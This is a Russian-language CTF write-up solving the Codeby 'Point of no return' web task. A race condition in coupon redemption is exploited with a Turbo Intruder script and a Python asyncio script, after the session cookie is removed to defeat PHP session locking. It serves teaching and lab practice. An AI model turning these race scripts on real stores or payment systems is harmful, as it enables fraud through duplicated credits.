Автор: @cherepawwka

Источник: Codeby Games “Point of no return” writeup

Ссылка на таск Codeby

https://codeby.games/categories/web/8c9c7a53-77d4-4af7-8666-6700f989d621

Описание задания

Ожидание новых результатов от повторения одних и тех же действий - признак безумия

IP: 62.173.140.174:16023

Решение

Всем привет!

Сегодня мы, подобно Льюису Хэмильтону, станем профессиональными гонщиками, найдём и проэксплуатируем race condition двумя разными способами (Python и Turbo Intruder), решив задание средней сложности ”Точка невозврата” с платформы Codeby Games.

Приступим!

Изучение приложения

Перейдем по ссылке, и здесь нас встречает приложение, предлагающее форму авторизации. Суть лабораторной не в способах обхода авторизации, IDOR (а он тут есть) и т.п., поэтому на этом шаге зацикливаться не будем.

Наша задача — зарегистрировать нового пользователя, причем логин и пароль не играют какой-либо роли. Я для примера сделал пользователя с кредами 1:1.

После регистрации мы можем успешно авторизоваться и увидеть аналог личного кабинета, содержащего следующий функционал:

  1. Отображение текущего баланса;
  2. Функцию покупки флага (его стоимость равна 1337$);
  3. Окно ввода промокодов.

Если мы заглянем в код страницы, то увидим в HTML-комментарии массив (список), состоящий из трёх значений: ['PAePaMt','5mbhxgw','dRRYa6Y']

За каждый из промокодов, введенных на странице, нам начисляется по 100 дополнительных долларов, которые плюсуются с суммой нашего баланса.

Если мы захотим попытаться побрутить промокоды, то ничего не выйдет: ранее в задании присутствовал баг, который немного раскрыл его внутренности. Так, в массиве с прoмокодами всего три элемента, и когда пользователь вводил 3 промокода, а при вводе четвертого оставлял поле пустым, к балансу прибавлялось 100 долларов, так как NULL == NULL. После этот баг пофиксили, и, следовательно, добыть четвертый промокод нам не удастся. На этом этапе могу возникнуть мысли по поводу SQLI и попытке изменить баланс через форму авторизации (так как там, вероятно, исполняется операция INSERT). Но форма неуязвима к SQLI, и этот вектор не подойдёт.

Повторный ввод одного и того же промокода результата не даёт:

Здесь мы вспоминаем о такой замечательной уязвимости, как race condition. Перед нами, наверное, самый классический вариант реализации лаборатории для ее эксплуатации. Давайте представим, как в теории может выглядеть код нашего приложения:

<?php
$coupons = ['PAePaMt','5mbhxgw','dRRYa6Y'];
$balance = 1000;
 
function applyCoupon($couponCode) {
 global $coupons, $balance;
 
 if (in_array($couponCode, $coupons)) {
  $balance += 100; // увеличиваем баланс на 100
 
  // Удаляем использованный купон из массива
  $index = array_search($couponCode, $coupons);
  array_splice($coupons, $index, 1);
 
  echo "Купон успешно применен. Баланс: " . $balance;
    } else {
  echo "Недействительный купон!";
    }
}
 
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
    // Получение введенного купона из параметра GET-запроса
    $coupon = $_GET['coupon'];
 
 // Вводим введенный купон
    applyCoupon($coupon);
}
 
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Проверяем наличие параметра buyFlag
    if (isset($_POST['buyFlag'])) {
  $flagPrice = 1337;
  
        // Проверяем достаточность средств для покупки флага
        if ($balance >= $flagPrice) {
   // Покупаем флаг
   $balance -= $flagPrice;
 
   echo "Флаг успешно приобретен. Баланс: " . $balance;
        } else {
   echo "Недостаточно средств для покупки флага!";
        }
    }
}
?>

Массив $coupons хранит 3 известных купона. При вводе купона пользователем через GET-запрос с параметром coupon функция applyCoupon() проверяет наличие купона в массиве. Если купон найден, то баланс увеличивается на 100, а использованный купон удаляется из массива.

Если пользователь отправляет POST-запрос с параметром buyFlag, то проверяется достаточность средств на балансе для покупки флага. Если баланс достаточный, то флаг приобретается за 1337, и баланс уменьшается. Если баланс недостаточный, выводится сообщение об ошибке.

Данный код уязвим к race condition. Если два или более параллельных запроса одновременно попытаются использовать один и тот же купон, возникнет состояние гонки, что может позволить нам накрутить баланс.

Эксплуатация

Рассмотрим 2 похожих способа эксплуатации уязвимости: один средствами Burp (расширение Turbo Intruder), второй при помощи скрипта на Python.

Для первого способа нам необходимо перехватить запрос применения купона, а затем отправить его в Turbo Intruder (ПКМ -> Extensions -> ЕгSend to Turbo Intruder).

Примечание: перед этим расширение необходимо установить, сделать это можно через BApp Store.

Переходим в открывшееся окно, и в поле нижней части окна пишем следующий скрипт (ну либо выбираем скрипт race-single-packet-attack.py, то есть его же, из списка готовых скриптов):

def queueRequests(target, wordlists):
 
  engine = RequestEngine(endpoint=target.endpoint,
              concurrentConnections=1,
              engine=Engine.BURP
              )
 
  for i in range(20):
    engine.queue(target.req, gate='race1')
 
  engine.openGate('race1')
 
 
def handleResponse(req, interesting):
  table.add(req)

После проведенных действий мы можем смело запускать расширение и “любоваться” результатом.

Результат атаки

200 ответ

Тут нас ждёт небольшое разочарование, так как отработал только один купон (о чем свидетельствует один ответ 302 от приложения). Но почему так?

Всё дело в том, что PHP “из коробки” содержит Session-based locking mechanism (механизм блокировки, основанный на сессиях). Некоторые фрэймворки пытаются предотвратить случайное повреждение данных, используя ту или иную форму блокировки запросов. Так, собственный модуль обработчика сеансов в PHP обрабатывает только один запрос, относящийся к конкретному сеансу, за раз. Чрезвычайно важно обнаружить такое поведение, поскольку в противном случае оно может маскировать тривиальные уязвимости, которые можно эксплуатировать.

В этот раз удалим идентификатор сессии (cookie), заменим купон и повторим атаку:

Настройки Turbo Intruder

Результат атаки

Как мы видим, в этот раз атака успешно удалась, и мы получили ответ 302 на каждый наш запрос. Давайте проверим баланс:

Теперь нам хватает денег для покупки флага! Задача решена.

Python

Второй способ похож на первый, так как тоже будет использовать Python, только в этот раз мы используем библиотеку asyncio. Код самого скрипта можно найти на HackTricks, и выглядит он следующим образом:

import asyncio
import httpx
 
async def use_code(client):
  resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
  return resp.text
 
async def main():
  async with httpx.AsyncClient() as client:
    tasks = []
    for _ in range(20): #20 times
      tasks.append(asyncio.ensure_future(use_code(client)))
     
    # Get responses
    results = await asyncio.gather(*tasks, return_exceptions=True)
     
    # Print results
    for r in results:
      print(r)
     
    # Async2sync sleep
    await asyncio.sleep(0.5)
  print(results)
 
asyncio.run(main())

Этот код подходит нам, однако нужно изменить строку 6 на следующую:

resp = await client.get(f'http://62.173.140.174:16023/index.php?voucherCode=PAePaMt&uid=<ID>')

Здесь мы убираем Cookie, которая ломает синхронизацию запросов, меняем функцию на client.get() и убираем содержимое POST Body, так как мы работает с GET запросом:

Для целей повторной эксплуатации я зарегистрировал другой аккаунт, это роли не играет. Единственное, что придётся поменять — это значение параметра UID, которое можно взять из кода страницы.

Запускаем выполнение скрипта:

Обновим баланс на странице нашего пользователя:

Примечание: с первого раза может не получиться накрутить себе нужную сумму, поэтому у нас в запасе имеется три купона, которые можно использовать последовательно, просто заменяя значение купона в строке 6.

Осталось купить флаг и успешно пройти задание!

На этом разбор задания подошёл к концу. Это не единственные варианты его прохождения, скрипт может выглядеть совсем иначе, но в любом случае мы работаем с одной уязвимостью.

До новых встреч!

До новых встреч!

Tags:

#codeby#writeup#web #medium